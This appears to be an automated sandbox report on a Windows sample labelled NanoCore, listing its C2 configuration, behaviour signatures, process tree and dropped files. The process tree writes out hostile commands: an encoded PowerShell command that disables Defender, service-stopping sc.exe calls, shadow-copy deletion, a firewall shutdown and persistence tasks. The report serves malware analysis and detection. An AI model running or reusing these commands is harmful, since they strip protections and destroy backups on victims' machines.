Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 09:51

General

  • Target
    ccakhia.tv_chrome.exe
  • Size 57KB
  • Sample261102-lvl1csvs4k
  • SHA256 3ed758b59be9288d07a05eec37f1a619e9a82bde298ef9f46447dbb1f164531f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://ccakhia.tv

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://ccakhia.tv

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4972
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4624
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4480
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2620
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4620
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2868
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3872
      • C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe"
        3⤵
          PID:4768
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1112
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5100
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2812
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:2236
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3484
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3504
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3184
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3960
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1264
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4464
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1868
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:2928
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3320
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1304
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3384
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2472
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:808
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2332
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:4344
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1696
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3200
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:2008
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:1936
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:1500
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            PID:2236
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1664
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2580
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:928
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:536
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:3400
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4476
          • C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
            C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
            1⤵
              PID:4288
            • C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\ccakhia.tv_chrome.exe
              1⤵
                PID:2304

              Network

                    MITRE ATT&CK Enterprise v16

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                    Downloads

                    scr_20261102_095224.jpg

                    • Path C:\ProgramData\SysUpdate\Scr\scr_20261102_095224.jpg
                    • Size 92KB
                    • SHA256 2a15d82fc49370916ad5ad8707830531b198c818aa7d26b3c5cea9aa258237c2
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    doc_2.pdf

                    • Path C:\SystemVolumeInformation\doc_2.pdf
                    • Size 76KB
                    • SHA256 cdf086a94a8e7f5ae0a52eb1cb4442082b2dc71d569d0c2089b807a02245b65f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    ccakhia.tv_chrome.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ccakhia.tv_chrome.exe.log
                    • Size 660B
                    • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_ajyd01jf.h4w.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajyd01jf.h4w.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    createshortcut.vbs

                    • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                    • Size 242B
                    • SHA256 1cc3a0f1246d645c219c6b44eae2def72e59eb9326c527cdec01c8a06fbf61a5
                    • MD5 SHA1 SHA512 TLSH

                    del.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                    • Size 59B
                    • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                    • MD5 SHA1 SHA512 TLSH

                    makelnk.vbs

                    • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                    • Size 243B
                    • SHA256 804734e47adf528b9a66589c9932bc7903de2b29cb92da78136753d7a3be7273
                    • MD5 SHA1 SHA512 TLSH

                    temp_steal.log

                    • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                    • Size 123KB
                    • SHA256 652fd9cd837b27bfcb6b23a5b8a5d1c524e23fa45cf2512aecbea0a1c92929be
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    stolen_data_here.txt

                    • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                    • Size 123KB
                    • SHA256 243d8637ef23b5719953e96d6339a617e4f0d0a5c4cefdc8cd55d3a418f521c9
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    invoice_1.pdf

                    • Path C:\Users\Admin\Documents\invoice_1.pdf
                    • Size 76KB
                    • SHA256 9818f1e937aec6b0c5175044a3dfacfdd6670edd3497a850048102e78e147017
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    READ_ME_NANOCORE.txt

                    • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                    • Size 145B
                    • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                    • MD5 SHA1 SHA512 TLSH

                    sysupdate.exe

                    • Path C:\Windows\System32\sysupdate.exe
                    • Size 57KB
                    • SHA256 3ed758b59be9288d07a05eec37f1a619e9a82bde298ef9f46447dbb1f164531f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    RANSOM_NOTE.txt

                    • Path F:\RANSOM_NOTE.txt
                    • Size 177B
                    • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                    • MD5 SHA1 SHA512 TLSH

                    memory/772-0-0x00000000006C0000-0x00000000006D4000-memory.dmp

                    memory/772-2270-0x000000001B400000-0x000000001B410000-memory.dmp

                    memory/772-1-0x000000001B400000-0x000000001B410000-memory.dmp

                    memory/1936-2259-0x000001CFE07D0000-0x000001CFE07D1000-memory.dmp

                    memory/4972-791-0x00000286CC780000-0x00000286CC7A2000-memory.dmp